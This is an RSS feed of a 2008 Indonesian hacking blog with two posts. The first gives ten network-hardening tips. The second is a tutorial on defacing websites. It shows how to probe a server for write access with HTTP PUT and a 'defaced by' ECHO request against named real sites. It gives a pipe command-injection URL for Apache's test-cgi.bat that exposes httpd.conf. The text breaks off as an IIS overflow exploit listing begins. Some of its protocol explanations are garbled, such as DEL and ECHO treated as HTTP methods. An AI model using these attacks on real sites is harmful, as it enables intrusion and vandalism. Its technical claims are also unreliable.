<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:georss="http://www.georss.org/georss" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:media="http://search.yahoo.com/mrss/"
	>

<channel>
	<title>kL3pt0'5_Ih4n534n H4ckIn9</title>
	<atom:link href="http://hackingbyklept0s.wordpress.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://hackingbyklept0s.wordpress.com</link>
	<description>JUST FOR ANOTHER HACKER</description>
	<lastBuildDate>Mon, 10 Mar 2008 07:10:57 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.com/</generator>
<cloud domain='hackingbyklept0s.wordpress.com' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
<image>
		<url>http://s2.wp.com/i/buttonw-com.png</url>
		<title>kL3pt0'5_Ih4n534n H4ckIn9</title>
		<link>http://hackingbyklept0s.wordpress.com</link>
	</image>
	<atom:link rel="search" type="application/opensearchdescription+xml" href="http://hackingbyklept0s.wordpress.com/osd.xml" title="kL3pt0&#039;5_Ih4n534n H4ckIn9" />
	<atom:link rel='hub' href='http://hackingbyklept0s.wordpress.com/?pushpress=hub'/>
		<item>
		<title>10 teknik Perang Melawan Attacker</title>
		<link>http://hackingbyklept0s.wordpress.com/2008/02/13/10-teknik-perang-melawan-attacker/</link>
		<comments>http://hackingbyklept0s.wordpress.com/2008/02/13/10-teknik-perang-melawan-attacker/#comments</comments>
		<pubDate>Wed, 13 Feb 2008 12:40:12 +0000</pubDate>
		<dc:creator>klept0s</dc:creator>
				<category><![CDATA[1]]></category>

		<guid isPermaLink="false">http://hackingbyklept0s.wordpress.com/2008/02/13/10-teknik-perang-melawan-attacker/</guid>
		<description><![CDATA[Saya menjalankan banyak ujicoba penetrasi terhadap berbagai sistem dan jaringan client. Sebagian besar waktu tersebut, pengujian dilakukan secara langsung, sebagaimana halnya dengan administrator jaringan banyak yang tidak memfilter trafik ICMP dan jaringan yang saya scan tidak benar-benar diblok. Saya menyukai jenis ujicoa seperti ini, mudah dan cepat dilakukan. Apa yang tidak saya sukai, bagaimanapun, adalah [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hackingbyklept0s.wordpress.com&amp;blog=2859484&amp;post=19&amp;subd=hackingbyklept0s&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><span id="more-19"></span>Saya menjalankan banyak ujicoba penetrasi terhadap berbagai sistem dan jaringan client. Sebagian besar waktu tersebut, pengujian dilakukan secara langsung, sebagaimana halnya dengan administrator jaringan banyak yang tidak memfilter trafik ICMP dan jaringan yang saya scan tidak benar-benar diblok. Saya menyukai jenis ujicoa seperti ini, mudah dan cepat dilakukan.</p>
<p>Apa yang tidak saya sukai, bagaimanapun, adalah saat sadar-keamanan yang tinggi dari administrator tergolong handal untuk mengatasi saya dan sistem target. Dalam situasi ini, suatu pengujian biasanya memakan waktu 2 hari bahkan bisa mencapai 1 minggu yang berharga dari waktu saya! Dengan ini anda dapat membuat pasukan attacker (dan konsultan security) berusaha keras untuk mencoba memetakan jaringan, mengidentifikasi service, aplikasi dan serangan yang efektif dan mematikan.</p>
<p>Artikel ini merupakan rincian dari 10 tip jitu untuk seluruh administrator jaringan, untuk melindungi jaringan anda dari bahaya yang mengancam dan mempersulit para attacker handal untuk mendapatkan segala sesuatunya dengan cepat.</p>
<p>1. Filter Inbound ICMP ping Messages<br />
Saat saya melakukan ujicoba terhadap sstem dan jaringan komputer berbasis internet, saya selalu memulainya dengan ICMP ping-sweep untuk mengidentifikasi secara jelas, kelemahan server yang dilindungi yang saya harus menyelidikinya lebih jauh. Dalam 24 subnet dengan 254 server address yang potensial, selalu baik untuk hal yang mendekati untuk menangani mesin yang dapat diakses secara cepat.</p>
<p>Jika anda memfilter trafik ICMP echo request (type 8, code 0) pada batas router anda, atau firewall, para attacker yang andal menyerang melalui port scanning seluruh IP address dalam subnet anda, yang secara dramatis menambah waktu yang dihabiskan untuk scanning jaringan anda. Kebanyakan attacker yang tangguh juga terhalang oleh perubahan yang cukup sederhana pada jaringan anda.</p>
<p>2. Konfigurasi Firewall untuk menggunakan Proteksi SYN Flood<br />
Jika anda menggunakan nmap atau tool scanning port yang lain dalam kondisi konfigurasi default, mereka mengirim ribuan paket TCP SYN ke berbagai port untuk mendapatkan respon, dan mengidentifikasi service mana dalam jaringan yang bisa diakses. Beberapa saat, bekerja sangat efektif dengan memfilter inbound ICMP Ping message untuk mengonfigurasi firewall anda agar menampilkan proteksi SYN flood (didukung oleh WatchGuard, Check Point, NetScreen dan sebagainya).</p>
<p>Pelindung SYN flood menghentikan paket SYN dari sumber yang dikirim terlampau banyak, secara tradisionil mirip serangan Denial-of-Service. Bagaimanapun, tool port-scanning biasanya mengirimkan ribuan paket SYN berkecepatan tinggi, paket ini seringkali dihentikan oleh mekanisme pelindung SYN-Flood.</p>
<p>Para attacker masih dapat melakuan port-scan dan memetakan jaringan anda berikut service-nya, namun tool seperti nmap dan SuperScan harus dikonfigurasi ulang untuk menambah waktu delay diantara packet SYN yang dikirimkan.</p>
<p>3. Filter Outbound ICMP Type 3 Messages<br />
ICMP type 3 (unreachable) message baisanya digunakan selama scan port UDP untuk mengidentifikasi port UDP tertutup, dan oleh karena itu mengetahui port UDP mana yang terbuka (bukan seperti ICMP pesan &#8220;destination port unreachable&#8221; yang ditampilkan pada port yang terbuka). Pesan ini juga digunakan oleh tool penguji keamanan, termasuk firewall, untuk memperkirakan kebijakan dan aturan pada batas router dan firewall.</p>
<p>Dengan memfilter outbound ICMP type 3 message, scanning port UDP sangat sulit untuk dilakukan, dan teknik pengujian jaringan peripheral yang juga tergolong sulit.</p>
<p>4. Menempatkan Seluruh Server Internet yang dapat diakses publik dalam suatu DMZ (Zona Demiliterisasi)<br />
Hal ini merupakan aturan yang baik, saya tahu, namun saya masih terkejut saat saya menguji suatu jaringan dan segera setelah itu ternyata server yang dapat diakses publik tidak ditempatkan dalam sebuah konfigurasi DMZ. Untuk mengulangi aturan tersebut, kebanyakan server internet yang diakses publik (seperti mail, FTP, atau web server) seharusnya ditempatkan dalam suatu DMZ, dengan tujuan melindungi kedua sistem DMZ tersebut dari Internet dan Sistem Jaringan Internal.dari DMZ.</p>
<p>5. Install Microsoft URLScan pada IIS Web Server Anda<br />
URLScan merupakan tool filter gratis yang handal dari Microsoft. Berfungsi untuk mencegah serangan terhadap seluruh web server IIS tertentu ang diakses secara publik terhadap web server anda secara efektif dengan memfilter akses ke fitur yang tidak diperlukan dan ekstensi ISAPI. Bahkan jika server anda tergolong rentan terhadap berbagai masalah di masa depan, filterisasi yang disediakan URLScan akan melindungi anda dan memberi anda waktu untuk mem-patch server tersebut jika mengalami masalah yang serius.</p>
<p>6. Batasi Remote Access ke User Services Hanya melalui Koneksi VPN yang Otentik<br />
Publik yang mengakses ke Microsoft Outlook Web Access, POP3 mail dan user services lainnya hanya menghadirkan masalah pada 3 hal besar:</p>
<p>Celah keamanan (overflow, bug otentikasi) teridentifikasi dalam service tersebut.<br />
Tidak adanya pelindung dari network sniffing, untuk melumpuhkan data otentikasi<br />
Tidak adanya auditing and lock-out yang menggunakan service ini, mengancam terjadinya serangan brute-force.</p>
<p>Dalam lingkungan jaringan dimana keamanan sangat penting, akses ke user service seharusnya dijamin melalui koneksi VPN terotentikasi.</p>
<p>7. Periksa Server yang dapat Diakses terhadap Open Proxy atau Mail Relay<br />
Kebalikan proxy yang digunakan dalam lingkungan web enterprise, web server, mail server dan proxy server sering mengalami cacat konfigurasi, mengijinkan mail, web atau trafik lain dikirimkan ke kewenangan internal atau layanan berbasis internet.</p>
<p>Tool yang bermanfaat untuk menguji proxy terbuka:</p>
<p>pxytest<br />
proxycheck</p>
<p>8. Pastikan Bahwa Remote User selalu Waspada<br />
Kecermatan para attacker untuk mengidentifikasi dan mengeksploitasi kelemahan link dalam berbagai cara. pada lingkungan jaringan komputer yang besar, tempat umum bagi home user untuk mendapatkan akses melalui VPN atau koneksi lain, untuk data dan sistem internal yang sensitif. Hal terpenting adalah Personal Firewall dan Sistem Antivirus dikonfigurasi dengan sesuai dan up-to-date, namun hal terpenting adalah kewaspadaan remote user, dan tidak men-double clik lampiran e-mail yang bisa saja berisi kode Trojan.</p>
<p>9. Gunakan Mekanisme Strong Authentication untuk Administrative User.<br />
Cara efektif untuk melindungi administrator password anda dilumpuhkan oleh attacker, yang kemudian digunakan untuk melengkapi kendali Internal Window Domain atau direktori aktif. Untuk mewaspadai hal ini gunakan two-factor authentication pada administrative user, seperti RSA SecurID atau Secure Computing SafeWord. Dengan menggunakan two-factor authentication, efektif terhadap dua jenis serangan seperti brute force dan authentication sniffing dan replay (seperti SMBRelay dan sebagainya).</p>
<p>10. Periksa Situs Security Beberapa hari sekali<br />
tetaplah mengupdate dengan ancaman terkini dan tool yang harus digunakan. Saya secara pribadi seringkali mengikuti jalur utama website security beberapa hari sekali, browsing melalui mailing list, forum dan artikel. Situs tersebut antara lain:</p>
<p>- SecurityFocus<br />
- Packet Storm<br />
- Secunia</p>
<p>Demikian disampaikan, salam hangat dari saya.</p>
<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/hackingbyklept0s.wordpress.com/19/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/hackingbyklept0s.wordpress.com/19/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/hackingbyklept0s.wordpress.com/19/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/hackingbyklept0s.wordpress.com/19/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/hackingbyklept0s.wordpress.com/19/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/hackingbyklept0s.wordpress.com/19/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/hackingbyklept0s.wordpress.com/19/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/hackingbyklept0s.wordpress.com/19/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/hackingbyklept0s.wordpress.com/19/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/hackingbyklept0s.wordpress.com/19/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/hackingbyklept0s.wordpress.com/19/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/hackingbyklept0s.wordpress.com/19/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/hackingbyklept0s.wordpress.com/19/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/hackingbyklept0s.wordpress.com/19/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/hackingbyklept0s.wordpress.com/19/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/hackingbyklept0s.wordpress.com/19/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hackingbyklept0s.wordpress.com&amp;blog=2859484&amp;post=19&amp;subd=hackingbyklept0s&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://hackingbyklept0s.wordpress.com/2008/02/13/10-teknik-perang-melawan-attacker/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/bb3ea6a99b7ad38a8988badafed423e5?s=96&#38;d=identicon" medium="image">
			<media:title type="html">klept0s</media:title>
		</media:content>
	</item>
		<item>
		<title>Seluk Beluk mendefaced By klept0s</title>
		<link>http://hackingbyklept0s.wordpress.com/2008/02/13/seluk-beluk-mendefaced-by-klept0s/</link>
		<comments>http://hackingbyklept0s.wordpress.com/2008/02/13/seluk-beluk-mendefaced-by-klept0s/#comments</comments>
		<pubDate>Wed, 13 Feb 2008 12:34:36 +0000</pubDate>
		<dc:creator>klept0s</dc:creator>
				<category><![CDATA[1]]></category>

		<guid isPermaLink="false">http://hackingbyklept0s.wordpress.com/2008/02/13/seluk-beluk-mendefaced-by-klept0s/</guid>
		<description><![CDATA[Mendeface website merupakan salah satu topik yang paling banyak dibahas di dunia IT. Para Cracker, Script Kiddies dan terkadang pula para hacker membuat jalan khusus mengenai cara mendeface website. Dalam kebanyakan kasus website yang terdeface orang lain untuk menyampaikan pesan kepada publik, sekedar iseng atau beberapa alasan lainnya&#8230; yang tidak disebutkan disini!! Dalam artikel ini [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hackingbyklept0s.wordpress.com&amp;blog=2859484&amp;post=18&amp;subd=hackingbyklept0s&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><span id="more-18"></span>Mendeface website merupakan salah satu topik yang paling banyak dibahas di dunia IT. Para Cracker, Script Kiddies dan terkadang pula para hacker membuat jalan khusus mengenai cara mendeface website. Dalam kebanyakan kasus website yang terdeface orang lain untuk menyampaikan pesan kepada publik, sekedar iseng atau beberapa alasan lainnya&#8230; yang tidak disebutkan disini!!</p>
<p>Dalam artikel ini saya akan menjelaskan seluk beluk pendeface-an website. Umumnya website yang terdeface melalui eksploitasi celah keamanan pada webserver dan memperolehroot shell atau injeksi malicious code terhadap halaman target yang terdapat pada server tersebut. Dalam manual ini saya akan menggambarkan metode eksploitasi celah kamanan web server Microsoft IIS. Walaupun Apache merupakan webserver populer lain yang tergolong lebih secure. Saya tidak mengetahui banyak mengenai deface website yang terhosting di server Apache. Namun saya akan mencoba menuliskan penjelasan teoritis dari server Apache.</p>
<p>Artikel ini dibagi menjadi beberapa bagian pokok, yaitu:</p>
<p>- Software pendeteksi web server<br />
- Analisa konfigurasi web server<br />
- Pemeriksaan celah keamanan<br />
- Coding exploit<br />
- Mengeksploitasi celah keamanan untuk membobol server<br />
- Injeksi malicious code melalui URL<br />
- Mengamankan diri anda sendiri<br />
- Kesimpulan</p>
<p>DETEKSI IDENTITAS WEB SERVER</p>
<p>Mendeface website bukanlah keseluruhan aktifitas hacking. Tidak diperlukan otak seorang hacker, atau hacker yang jenius. Yang diperlukan hanyalah mencari exploit, sejumlah keterampilan pemrograman yang memadai dan waktu luang untuk trial and error. Pada dasarkanya setiap software memiliki beberapa celah keamanan (kesalahan pemrograman) mengeksploitasi yang memungkinkan seseroang mendapatkan akses root (administrator privilege) ke sistem yang menjalankan software tertentu. Dengan menggunakan konsep ini website itu terdeface. Anda dapat menemukan banyak celah keamanan yang terkini melalui website seperti:</p>
<p>http://www.securityfocus.com , http://www.packetstormsecurity.com , http://www.securiteam.com dsb. beberapa situs bahkan memberikan code exploitnya. Namun sebelum anda mencari exploit atau celah keamanan pada situs tersebut, anda perlu mengetahui software server yang dijalankan oleh website sasaran. Setelah mengetahui software server tersebut, selanjutnya anda harus mencari celah keamanan dan exploit yang cocok pada software tersebut.</p>
<p>Pendeteksi webserver  sangat mudah digunakan dan metodenya jelas. Pada dasarnya apa yang terjadi saat suatu request dikirimkan ke webserver yang terpaksa membuat pesan error 400, atau 200 OK message, 404 forbidden error message pada raw mode (melalui telnet) kemudian software server tersebut merespon dengan pesan yang sesuai yang berisikan software webserver berikut info versi. Jadi apa yang kita perlu lakukan hanyalah telnet terhadap port 80 (port default untuk web server) dari web server dan mengirimkan beberapa request ke server tersebut yang merespon dengan 400 bad request error message atau 200 OK message yang berisikan informasi versi dan software server tersebut.</p>
<p>Microsoft Telnet&gt;telnet 127.0.0.1 80<br />
GET \ HTTP/1.1\r\n\r\n<br />
Host:server-software<br />
&lt;enter&gt;<br />
&lt;enter&gt;<br />
&lt;enter&gt;</p>
<p>HTTP/1.1 403 Forbidden<br />
Date: Sat, 10 Aug 2002 16:55:41 GMT<br />
Server: Apache/1.3.22 (Win32)<br />
Connection: close<br />
Content-Type: text/html; charset=iso-8859-1</p>
<p>&lt;!DOCTYPE HTML PUBLIC &#8220;-//IETF//DTD HTML 2.0//EN&#8221;&gt;<br />
&lt;HTML&gt;&lt;HEAD&gt;<br />
&lt;TITLE&gt;403 Forbidd<br />
en&lt;/TITLE&gt;<br />
&lt;/HEAD&gt;&lt;BODY&gt;<br />
&lt;H1&gt;Forbidden&lt;/H1&gt;<br />
You don&#8217;t have permission to access /<br />
on<br />
this server.&lt;P&gt;<br />
&lt;HR&gt;<br />
&lt;ADDRESS&gt;Apache/1.3.22 Server at www.apache.org Port 80&lt;/ADD<br />
RESS&gt;<br />
&lt;/BODY&gt;&lt;/HTML&gt;</p>
<p>Connection to host lost.</p>
<p>OK, saya harap anda mendapatkannya. Sederhana saja. Ringkasnya apa yang anda perlu lakukan hanyalah melakukan telnet ke port 80 dari webste target anda (anda bahkan bisa melakukan telnet ke nama domain tersebut, misalnya telnet hackersclub.up.to 80) ketik pada beberapa request seperti GET \ HTTP/1.1\r\n\r\n kemudian ketik sesuatu seperti host: server-software kemudian tekan &lt;enter&gt; cuman beberapa saat hingga anda mendapatkan respon server tersebut. Server tersebut akan merespon dengan informasi software tersebut.</p>
<p>ANALISA WEB SERVER</p>
<p>Pada dasarnya default instalasi IIS (Internet Information Service) berisikan website root pada c:\Inetpub\wwwroot. Dimana seluruh direktori tersebut ada dalam direktori c:\inetpub (dalam kasus IIS dan c:\apache group\apache\htdocs untuk versi win32 dari Apache). Seluruh folder didalamnya dianggap sebagai Direktori Virtual. Dalam suatu webserver masing-masing direktori virtual tersedia dengan jenis permisi yang berbeda. Permisi seperti Read, Write, Execurtion of Scripts, Execution of Executable seperti .dll dan halaman server side seperti ASP, cgi dsb., Directory Browsing.</p>
<p>Disini saya akan menggambarkan metode analisa direktori permisi dari direktori virtual yang terletak dalam suatu web server.</p>
<p>Read Access: Kapanpun anda mengunjungi suatu website dengan menulis nama domain website pada web browser anda, maka yang sebenarnya terjadi adalah bahwa anda terhubung ke port 0 (default port HTTP) dari IP address yang terasosiasi dengan nama domain. Katakanlah IP address dari Yahoo.com adalah 203.197.102.78. Jadi saat anda mengeti http://www.yahoo.com pada address bar web browser anda maka yang terjadi adalah URL (Uniform Resource Locator) dinyatakan ke http://203.197.102.78:80/index.html (atau index.htm, index.asp, default.asp, index.jsp, default.jsp, index.php, default.php atau apapun yang terkonfigurasi sebagai halaman index pada webserver tersebut). Sekarang ketik URL tersebut, maka anda akan memperoleh webiste yahoo dimana anda dapat membaca isinya dari wwwroot. Jika berisikan file executable seperti ASP, JSP atau PHP, maka halaman server side dieksekusi dan membuat halaman HTML pada web browser (client) oleh IIS (server) atau webserver dinamis lainnya. Sekarang saat anda membaca suatu dokumen dari suatudirektori yang diberikan meka hal ini menunjukkan bahwa direktori tersbut dapat dibaca. Pada dasarnya direktori berisikan file database yang dilindungi dengan read access demi keamanan.</p>
<p>Catatan: Jika anda seorang newbie sejati yang tidak mengetahui tentang IP address maka bacalah artikel mengenai notasi pengalamatan IP agar mendapatkan gambaran yang jelas.</p>
<p>Write Access: Sebagaimana yang saya sarankan, anggota dari website saya mengarah melalui RFC (request for comment) pada protokol penting seperti HTTP (Hyper Text Transfer Protocol), TELNET, FTP (File Transfer Protocol), SMTP (Simple Mail Transfer Protocol) dsb, kesemuanya yang membaca RFC pada HTTP secara definitif akan mengetahui maksud dari Write Access pada suatu web server. Untuk itu siapapun yang tidak memilikinya datang melalui HTTP RFC, saya berikan gambaran singkat mengenai protokol HTTP.</p>
<p>HTTP merupakan bagian dari TCP/IP stack (koreksi saya jika salah). Yang dirancang dan dibuat dengan maksud berbagi file melalui internet. Sebagaimana yang dinyatakan dari nama HTTP (Hyper Text Transfer Protocol). Pada awalnya file akan diupload dan didownload dari server tersebut sesuai dengan protokol HTTP tanpa diperlukan jenis otentikasi apapun. Segera setelah dinyatakan bahwa jenis arsitektur ini merupakan pelanggaran keamanan nyata yang menyebabkan siapapun yang &#8220;setengah cerdas&#8221; dapat menulis write access ke server tersentu. Sekarang apa yang telah dilakukan adalah web server tersebut dirancang dan dikonfigurasi sedemikian rupa untuk memberikan write access hanya kepada direktori virtual terpilih.</p>
<p>Cobalah melakukan telnet ke suatu website dan bermain-main dengan mempraktekkan informasi megnenai server tersebut dan perilakunya. Berikut ini daftar perintah yang umum digunakan yang didukung oleh web server, sesuai ketentuan RFC dari HTTP.</p>
<p>GET : digunakan untukmengirim request untuk read access ke suatu file yang terletak pada server melalui web browser (client)</p>
<p>Contoh:</p>
<p>Microsoft Telnet&gt;telnet astalavista.com 80<br />
Connected to astalavista.com……<br />
GET /index.html HTTP/1.1\r\n\r\n</p>
<p>Output:<br />
Kode sumber HTML dari halaman index.html yang terletak pada server akan dikembalikan atau jika di request pada halaman server side seperti ASP atau JSP&#8230; maka secara dinamis menciptakan dan membuat halaman HTML.</p>
<p>PUT : digunakan untuk membuat suatu file pada server tersebut&#8230; membutuhkan write access pada direktori virtual tertentu dimana file tersebut dibuat.</p>
<p>Contoh:<br />
Microsoft Telnet&gt;telnet astalavista.com 80<br />
Connected to astalavista.com……<br />
PUT /analyzing.txt HTTP/1.1\r\n\r\n</p>
<p>Output :<br />
Kemungkinan besar anda akan mendapatkan pesan 403 Forbidden Error&#8230;sebagaimana halnya bahwa wwwroot tidak akan pernah memiliki write access..</p>
<p>DEL : untuk mengahpus suatu halaman pada webserver tersebut&#8230; memerlukan write access pada direktori virtual tertentu dimana file tersebut dihapus.</p>
<p>Contoh:<br />
Microsoft Telnet&gt;telnet astalavista.com 80<br />
Connected to astalavista.com……<br />
del /index.html HTTP/1.1\r\n\r\n</p>
<p>Output :<br />
Kemungkinan besar anda akan mendapatkan pesan 403 Forbidden Error.. yang menyatakan bahwa wwwroot tidak dapat menggunakan write access..</p>
<p>ECHO : Printing tool.. sama halnya dengan file Batch pada DOS.. Outputnya dapat diarahkan..<br />
Contoh:<br />
Microsoft Telnet&gt;telnet astalavista.com 80<br />
Connected to astalavista.com……<br />
ECHO defaced by Abhisek Datta &gt;&gt; /index.html HTTP/1.1\r\n\r\n</p>
<p>PROPFIND : Digunakan sebagai sebuah request untuk browsing direktori&#8230; (pada IIS&#8230; terdapat sebuah administrative tool yang digunakan untuk menganalisa web server)<br />
Contoh:<br />
Microsoft Telnet&gt;telnet astalavista.com 80<br />
Connected to astalavista.com……<br />
PROPFIND / HTTP/1.1<br />
Host:iis-server<br />
Content-Length:0</p>
<p>Output :<br />
Kemungkinan besar anda akan mendapatkan pesan 403 Forbidden Error&#8230; yang menyatakan bahwa wwwroot tidak menggunakan write access..</p>
<p>Untuk menguji permisi write access terhadap direktori dalam Microsoft IIS dengan cara yang sedikit rumit. Ikuti metode berikut ini:</p>
<p>Untuk menguji apakah permisi write dalam keadaan &#8216;enabled&#8217; terhadap telnet anonymous web client menjadi kedalam port web server biasanya port TCP 80 dan buatlah request berikut ini:</p>
<p>PUT /scripts/abhisek.asp HTTP/1.1<br />
Host: iis-server<br />
Content-Length: 10 &lt;enter&gt;&lt;enter&gt;</p>
<p>Pada bagian ini server akan meresponnya dengan pesan 100 Continue<br />
HTTP/1.1 100 Continue<br />
Server: Microsoft-IIS/5.0<br />
Date: Thu, 28 Feb 2002 15:56:00 GMT</p>
<p>Saat menerima ini ketiklah 10 huruf<br />
AAAAAAAAAA</p>
<p>HTTP/1.1 201 Created<br />
Server: Microsoft-IIS/5.0<br />
Date: Thu, 28 Feb 2002 15:56:08 GMT<br />
Location: http://iis-server/dir/my_file.txt<br />
Content-Length: 0<br />
Allow: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, COPY, MOVE, PROPFIND,<br />
PROPPATCH, SEARCH, LOCK, UNLOCK</p>
<p>Jika server meresponnya dengan respon 201 Created maka permisi Write dalam keadaan &#8216;enabled&#8217;</p>
<p>Execution Access : Halaman Server side (ASP, JSP, PHP) ,dll (dynamic link libraries) etc yang seringkali digunakan saat ini pada website berbasiskan database yang secara dinamis membuat HTML dan mengirimkannya ke browser. Halaman server side ini dan file executable lainnya termasuk .dll dan .exe memerlukan execution privilege pada direktori virtual ditempat mereka berada. Umumnya seluruh file .dll, .asp, dan .exe memerlukan execution privilege yang berada dalam direktori virtual tunggal.</p>
<p>Directory Browsing : Seringkali web server (untuk lebih spesifik&#8230; direktori virtual dari web server) terkonfigurasi sedemikian rupa untuk menyediakan akses browsing direktori untuk seluruh client atau client khusus melalui otentikasi yang sesuai. Pada dasarnya browsing direktori dimaksudkan bahwa anda dapat menyusun daftar file dan folder yang ada dalam direktori virtual yang anda buat seakan-akan itu adalah computer anda. Untuk alasan keamanan banyak website mematikan fitur ini. Dengan exploit anda bisa mendapatkan Directory Listing dari suatu direktori virtual.</p>
<p>Ekploitasi terhadap Directory Listing pada Apache (win32) :</p>
<p>Satu dari sekian banyak Apache web server (win32) 2.1.x (saya tidak yakin mengenai versi) berisi default file .bat yang bernama test-cgi.bat dalam direktori cgi-bin. Yang sebenarnya tersedia juga agar administrator sistem dapat menguji privilege dari direktori cgi-bin yang berisikan seluruh script cgi dan perl. Tentunya direktori virtual cgi-bin memiliki execution permission.</p>
<p>Keadaan ini dieksploitasi untuk serangan. Pada dasarnya saat suatu file .bat pada Apache web server (win32) disebut Execution DOS (Disk Operating System) Shell yang dapat dieksekusi. Sekarang kita dapat menggunakan karakter | (pipe) selama memanggil file batch untuk mengeksekusi perintah pada remote server. Serangan URL akan terlihat seperti dibawah ini :</p>
<p>http://www.target.com/cgi-bin/test-cgi.bat?|copy+..\conf\httpd.conf+..\htdocs\httpd.conf</p>
<p>Jadi dengan serangan URL ini apa yang telah saya lakukan adalah mengcopy file httpd.conf dari direktori conf yang pastinya memiliki read access terhadap Apache web root! seperti folder virtual htdocs. Sekarang kita bisa dengan mudah mendownload file httpd.conf menggunakan URL http://www.target.com/httpd.conf yang sekarang terletak pada Apache web root.</p>
<p>Catatan: Untuk hal ini bila anda tidak mengenal Apache dan tidak mengetahui apakah file httpd.conf tersebut? OK, dalam Apache anda harus mengonfigurasi seluruh web server menggunakan perintah dan script yang berada dalam file httpd.conf dalam folder c:\apache group\apache\conf dari instalasi default apache pada sistem windows umumnya. File ini berisikan seluruh setting web server sasaran dan dengan beberapa cara jika kita dapat mengatur penanganan file ini maka kita mendapatkan informasi yang jelas mengenai seluruh setting dari web server termasuk lokasi log file, directory permission, write access, authentication level dsb.</p>
<p>MEMERIKSA VULNERABILITY YANG ADA<br />
Kebanyakan website yang terdeface dan dihack menggunakan vulnerability yang berkenaan dengan software server atau sistem operasi yang dijalankan oleh software server tersebut.</p>
<p>Banyak dari mereka yang disebut hacker mendeface website berdasarkan vulnerability yang ditemukan oleh orang-orang yang semestinya disebut &#8220;Hacker&#8221;.</p>
<p>Ada baiknya anda harus mengetahui apakah vulnerability itu? vulnerability sebenarnya adalah cacat yang ada pada arsitektur software yang memungkinkan seorang hacker atau malicious cracker memiliki kendali lebih jauh pada sistem atau membuat kewenangan perintah sistem terhadap server. Ada beberapa vulnerability yang terdapat pada seluruh software. Pada dasarnya, dahulu saya mendengar bahwa para hacker dimanfaatkan untuk menemukan cacat dan vulnerability pada software mereka sendiri. Tapi sekarang hanya beberapa orang yang masih melakukannya. Ada banyak situs yang bagus seperti:</p>
<p>http://www.securityfocus.com<br />
http://www.packetstorm.org<br />
http://www.guininski.com<br />
http://www.insecure.org<br />
http://www.securiteam.com<br />
http://www.slashdot.org<br />
http://www.technotronic.com</p>
<p>Situs-situs ini berisikan lebih dari cukup tentang vulnerability mutakhir yang akan membantu anda memulai sesuatu. Bahkan jika anda berpengalaman, saya yakin anda akan mendapatkan bantuan dari situs ini.</p>
<p>CODING EXPLOIT :<br />
Katakanlah, anda menetapkan melakukan hacking website http://www.anisurrahman.net (beh!! Anisur akan menendang bokong saya jika dia membaca artikel ini). Menggunakan metode yang dijelaskan diatas, anda dapat dengan mudah menemukan bahwa website tersebut dijalankan pada software server Microsoft IIS 5.00. Sekarang waktunya untuk mencari exploit (saya memperkirakan bahwa anda bukanlah seorang hackeryang dapat menemukan vulnerability sendiri.. jika tidak.. anda tidak perlu membaca artikel ini). bahkan jika anda menemukan beberapa overflow atau malicious vulnerability pada software web server dari situs yang disebutkan diatas anda harus menulis program (dengan bahasa C atau Perl) untuk mengimplementasikan exploit terhadap vulnerability yang ada. Untuk hal ini anda harus memiliki pengetahuan yang baik mengenai latar belakang pemrograman socket. Jika anda tidak dapat menulis exploit anda sendiri anda bisa mendownload code exploit yang ditulis dalam bahasa seperti C, Perl, JAVA (sangat jarang). Tapi jika anda mendownload exploit yang memungkinkan anda mendapatkan root shell pada web server target yang ditulis dalam bahasa C, maka saat melakukan kompilasi, saya yakin anda akan menemukan banyak error karena syntak dan fungsi yang sedikit berbeda dari satu compiler dengan compiler lainnya. Sekarang anda akan menyatakan perlunya penguasaan pemrograman.</p>
<p>Berikut ini daftar dari vulnerability yang ada disertai code exploit.</p>
<p>1. Exploit ASP overflow ini akan membuka port 1111 dan membuat cmd.exe. Seharusnya tertulis abhwa setiap kali anda menjalankan exploit ini dan suatu pesan akan muncul bahwa exploit ini bekerja dengan sempurna. Bagaimanapun, tidaklah dimaksudkan bahwa anda bisa mendapatkan akses ke host target, karena pada beberapa kejadian ada kotak pesan yang terlihat pada terminal sasaran yang memberitahukan bahwa telah terjadi pelanggaran akses (Acess Violation).</p>
<p>/* Windows 2000 Server Exploit By CHINANSL Security Team.<br />
Test on Windows 2000 Chinese Version, IIS 5.0 , not patched.<br />
